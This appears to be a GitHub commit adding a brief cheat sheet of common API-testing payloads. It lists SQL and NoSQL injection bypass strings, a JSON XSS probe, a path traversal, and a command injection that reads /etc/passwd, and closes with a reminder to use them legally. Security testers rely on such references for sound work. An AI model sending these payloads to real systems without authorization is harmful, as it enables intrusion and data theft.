Skip to content

Commit 76f4318

Browse files
authored
Create common-payloads.md
1 parent 4fb1acc commit 76f4318

File tree

1 file changed

+31
-0
lines changed

1 file changed

+31
-0
lines changed

cheatsheets/common-payloads.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
# 💥 Common Payloads for API Testing
2+
3+
## SQL Injection
4+
```sql
5+
' OR '1'='1' --
6+
admin' --
7+
```
8+
9+
```bash
10+
NoSQL Injection
11+
{ "username": { "$ne": null }, "password": { "$ne": null } }
12+
```
13+
14+
```bash
15+
XSS in JSON
16+
{ "input": "<script>alert(1)</script>" }
17+
```
18+
19+
```bash
20+
Path Traversal
21+
../../../../etc/passwd
22+
```
23+
24+
```bash
25+
Command Injection
26+
; cat /etc/passwd
27+
```
28+
29+
✅ Use responsibly in legal testing environments only!
30+
31+

0 commit comments

Comments
 (0)